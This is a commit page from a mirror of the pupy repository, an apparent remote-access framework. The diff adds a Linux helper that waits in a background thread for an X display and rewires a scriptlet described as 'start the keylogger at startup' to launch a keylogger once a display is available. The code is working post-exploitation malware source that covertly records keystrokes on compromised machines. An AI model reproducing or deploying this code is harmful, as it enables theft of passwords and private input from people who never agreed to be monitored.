mirror of https://github.com/n1nj4sec/pupy.git
In keylogger scriptlet/linux wait until connectable display will appear
This commit is contained in:
parent
16a708492c
commit
ed73ac8f44
|
@ -215,3 +215,17 @@ def extract_xauth_info(name, authtype='MIT-MAGIC-COOKIE-1'):
|
|||
xau.XauDisposeAuth(xauth)
|
||||
|
||||
return result
|
||||
|
||||
def when_attached(callback, name=':0', poll=10):
|
||||
import threading
|
||||
import time
|
||||
|
||||
def _waiter():
|
||||
while not attach_to_display(name):
|
||||
time.sleep(poll)
|
||||
|
||||
callback()
|
||||
|
||||
waiter = threading.Thread(target=_waiter)
|
||||
waiter.daemon = True
|
||||
waiter.start()
|
||||
|
|
|
@ -9,8 +9,8 @@ class ScriptletGenerator(Scriptlet):
|
|||
""" start the keylogger at startup """
|
||||
|
||||
dependencies = {
|
||||
'windows': [ 'ctypes.wintypes', 'pupwinutils.keylogger' ],
|
||||
'linux': [ 'keylogger' ]
|
||||
'windows': [ 'pupwinutils.keylogger' ],
|
||||
'linux': [ 'pupyps', 'display', 'keylogger' ]
|
||||
}
|
||||
arguments={}
|
||||
|
||||
|
@ -18,4 +18,4 @@ class ScriptletGenerator(Scriptlet):
|
|||
if os == 'windows':
|
||||
return 'import pupwinutils.keylogger; pupwinutils.keylogger.keylogger_start()'
|
||||
else:
|
||||
return 'import keylogger; keylogger.keylogger_start()'
|
||||
return 'import keylogger; import display; display.when_attached(keylogger.keylogger_start)'
|
||||
|
|
Loading…
Reference in New Issue